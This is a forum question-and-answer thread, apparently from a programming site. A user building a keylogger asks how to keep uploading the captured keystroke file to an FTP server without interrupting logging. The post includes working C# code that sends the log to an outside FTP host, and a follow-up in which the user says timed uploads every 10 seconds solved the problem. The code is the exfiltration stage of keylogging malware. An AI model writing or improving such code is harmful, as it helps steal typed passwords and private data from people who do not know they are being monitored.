Reputation: 117
I am currently working on a keylogger which is saving the users input to a text document. The document is updated each time the user presses a button.
I want the FTP to constantly update the text document on the server. The issue is that each time it is uploading the text document, it stops until the upload is complete and then continues logging.
I would like to know how can I prevent this from happening. I read somewhere there is a way to do this by using an ASYNC function or something like that but I do not know where it was.
I would greatelly appreciate any help. Here is the FTP code I created.
private static void ftp(String name)
{
FtpWebRequest request = (FtpWebRequest)FtpWebRequest.Create(
"ftp://ftp.drivehq.com/test.txt");
request.Method = WebRequestMethods.Ftp.UploadFile;
request.Credentials = new NetworkCredential(username, pass);
request.UsePassive = true;
request.UseBinary = true;
request.KeepAlive = false;
FileStream stream = File.OpenRead(name);
byte[] data = new byte[stream.Length];
stream.Read(data, 0, data.Length);
stream.Close();
Stream reqStream = request.GetRequestStream();
reqStream.Write(data, 0, data.Length);
reqStream.Close();
}
Upvotes: 0
Views: 140
Reputation: 117
I managed to find a way how to fix it. I simply used timers and I am uploading every 10 seconds. The issue was not with FTP interrupting execution, but FTP flooding the program with constant uploading.
As I said. The timers fixed it.
Upvotes: 1